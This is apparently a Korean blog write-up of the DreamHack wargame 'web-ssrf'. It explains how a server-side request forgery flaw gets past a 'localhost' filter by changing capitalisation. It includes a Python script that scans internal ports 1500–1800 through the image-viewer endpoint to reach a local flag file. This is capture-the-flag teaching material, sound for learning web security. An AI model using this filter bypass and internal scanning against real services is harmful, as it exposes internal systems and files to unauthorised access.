728x90
오늘은 DreamHacker의 웹 해킹 워게임 중 하나인 web-ssrf를 함께 풀어볼 예정이다.
## 문제 설명:
문제 정보를 살펴보면 SSRF 취약점을 이용하여 flag를 획득하면 되는 것으로 보인다.
## 문제 풀이
사이트에 접속해보니 다음과 화면이 보인다.
Image Viewer 버튼을 클릭하면 다음과 같이 이미지를 불러 올 수 있는 화면이 출력된다.
소스 코드를 보면 flag.txt는 로컬에 있고, localhost와 127.0.0.1이 필터링 처리된 것을 확인할 수 있다.
또한 포트는 1500~1800 사이인 것을 알 수 있다.
우선 포트가 몇 번인지부터 확인해보겠다. 파이썬을 통해 스크립트를 작성해보겠다.
## 공격 코드
import requests
from tqdm import tqdm
IMG_NOTFOUND = "iVBORw0KG"
port = 23992
url = f"http://host3.dreamhack.games:{port}/img_viewer"
def send_img(img_url):
global url
data = {
"url": img_url,
}
response = requests.post(url, data=data)
return response.text
def find_port():
for rst_port in tqdm(range(1500, 1801)):
img_url = f"http://Localhost:{rst_port}"
if IMG_NOTFOUND not in send_img(img_url):
print(f"Internal port number is: {rst_port}")
break
return rst_port
internal_port = find_port()
## 실행 결과
포트 번호가 1578인 것을 확인할 수 있다.
이미지가 출력된 것을 확인할 수 있다. 개발자 도구를 열어 다음과 같이 base64로 인코딩된 것을 확인할 수 있다.
해당 문자열을 디코딩 하면 다음과 같이 flag.txt가 존재한 것을 확인할 수 있다.
해당 경로를 접속해보면 마찬가지로 이미지 파일이 출력된 것을 확인할 수 있다.
위와 같은 방법으로 파일을 인코딩하면 다음과 같이 FLAG 값이 출력된 것을 확인할 수 있다.
'Wargame > DreamHack' 카테고리의 다른 글
[DreamHack 워게임] Tomcat Manager (0) | 2023.04.08 |
---|---|
[DreamHack 워게임] funjs (0) | 2023.04.07 |
[DreamHack 워게임] blind-command (0) | 2023.04.05 |
[DreamHack 워게임] command-injection (0) | 2023.04.04 |
[DreamHack 워게임] login-1 (0) | 2023.04.03 |